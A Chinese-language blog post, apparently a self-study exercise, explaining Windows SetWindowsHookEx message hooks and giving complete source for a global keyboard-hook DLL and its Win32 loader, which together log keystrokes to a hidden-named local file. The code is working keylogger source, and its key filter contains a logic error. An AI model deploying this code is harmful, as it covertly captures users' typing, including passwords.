之前看书,看到一眼消息钩子,一直没实践,现在有空弄了下,
主要原理是利用windows自带SetWindowsHookEx API函数
HHOOK SetWindowsHookEx(
int idHook, //hook形式
HOOKPROC lpfn //hook过程
HINSTANCE hmod //钩子所属的dll句柄
DWORD dwThreadId //要钩取的线程ID 全局钩子则传入0
)
其主要工作原理为,Windows发生相关消息时,会将含有钩子过程的
DLL强制注入目标进程的内存空间中,并且执行DLL中的钩子过程。
可钩取的消息有多种,这里我们试验WH_KEYBOARD尝试钩取windows
的键盘消息,来实现一个简单的键盘记录器。
我开始想要使用控制台程序下钩,貌似不行,控制台没有消息队列的原因吗?
之后改用win32后可以正常使用了
其核心是存在钩子过程的dll编写,代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<stdio.h>
#include<Windows.h>
#include "hook.cpp"
#define _CRT_SECURE_NO_WARNINGS
HINSTANCE hinstance;//dll实例
HHOOK hhook;//钩子实例
HANDLE hfile;
FILE* pFile = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) //dll加载入口点
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH://dll加载后在当前目录下创建一个用于保存记录的文件hfile = CreateFileA("sLaOvGe", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);hinstance = (HINSTANCE)hModule;CloseHandle(hfile);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}LRESULT CALLBACK KeyboardProc(int ncode, WPARAM wparam, LPARAM lparam)//钩子过程要按照这样的形式定义
{if (ncode >= 0) //nocde小于0时候约定需要交给下一个过程{if(!(lparam&0x80000000))//案件释放时记录,if (wparam >= 48 && wparam <= 57 || wparam >= 65 || wparam <= 90)//键盘码处理字母和数字{pFile = fopen("sLaOvGe", "a+");char save = wparam;fwrite(&save, 1, 1, pFile);fclose(pFile);}}return CallNextHookEx(hhook, ncode, wparam, lparam);//交给下个钩子或程序
}void HookStart()//挂钩
{hhook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, (HINSTANCE)GetModuleHandleA("hook"), 0);
} void HookStop()//脱钩
{if (hhook){UnhookWindowsHookEx(hhook);hhook = NULL;}
}
这段是钩子dll的主函数,导出函数声明在hook.cpp中
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#ifndef hook
extern "C" _declspec(dllimport) void HookStart();
extern "C" _declspec(dllimport) void HookStop();
#endif
在钩子过程中设计你想要拦截的键盘消息,这里我的数字范围是windows消息结构中wparam所携带的
表示字母与数字的键盘码,他们和ascii码相同,关于wparam更多信息可以查阅windows程序设计的相关资料
有一个点要提一下
windows的消息结构中的lparam对于不同消息有不同的定义,对于键盘消息它的结构如下
参考资料:windows程序设计(第五版)
32位按位标记,最高位表示转换状态,即现在将要发生的转换,如按下,或释放,
其他位还有很多控制内容,这里不多说,可以查到资料。我们的钩子过程
比较简单,释放时记录下当前释放的按键并把它输出到记录文件中即可。
下面就要实现挂钩程序了,代码如下
#include "stdafx.h"
#include "dialog.h"
#include<Windows.h>
#include"Resource.h"
typedef void(*HOOK)();
char dbug[1024] = "\x00";
HMODULE mydll = NULL;
HINSTANCE hdll = NULL;
BOOL CALLBACK diaproc(HWND hdlg, UINT message, WPARAM, LPARAM lparam);
int WINAPI WinMain(HINSTANCE hinstance,HINSTANCE hprevinstance,PSTR szCmdLine, int iCmdShow)
{DialogBox(hinstance, MAKEINTRESOURCE(IDD_ABOUTBOX)/*资源名*/,NULL/*父窗口*/, diaproc);return 0;
}BOOL CALLBACK diaproc(HWND hdlg,UINT message,WPARAM wparam,LPARAM lparam) //处理的第一条消息WM_INITDIALOG是对话框过程不处理时返回false否则true
{ HOOK sethook = NULL;HOOK unhook = NULL;mydll = GetModuleHandleA("hook.dll");//动态链接hook.dllif (!mydll) {mydll = LoadLibraryA("hook.dll");}sethook = (HOOK)GetProcAddress(mydll, "HookStart");unhook = (HOOK)GetProcAddress(mydll, "HookStop");switch (message){case WM_COMMAND:switch (LOWORD(wparam)){case ID_DLL: //挂钩if (sethook){MessageBoxA(hdlg, "hook ok!", "hook", 0);sethook();}else{wsprintf(dbug, "%d", GetLastError());MessageBoxA(hdlg, dbug, "hook", 0);}return TRUE;case IDC_UDLL: //脱钩if (!unhook){wsprintf(dbug, "%d %d", GetLastError(),unhook);MessageBoxA(hdlg, dbug, "hook", 0);return TRUE;}unhook();return TRUE;case WM_DESTROY:PostQuitMessage(0);return TRUE;}}return FALSE;
}
也比较简单,调用了一个windows对话框过程来让我们挂钩。
IDC_UDLL,和ID_DLL分别是我们的脱钩挂钩按键,他有WM_COMMAND
消息的wparam携带,我们的窗口过程负责对他处理,挂钩与脱钩
最后大概就是这个样子。
让我们的hook.dll和钩子程序在同一个目录下,尝试运行
好了运行有效果,至于一些不可见字符是因为我有输入法启动了,按了几个转换
按键,我的编译环境时vs2017所以有些c函数如fopen会被认为不安全的函数,
只要在各个文件中加入源码开头宏定义即可通过。
至于针对某个线程挂钩,我觉得应该需要手动dll注入到进程空间内。这里全局钩子
就不用这么麻烦了。
em。。。还要再弄下API钩取,这周好忙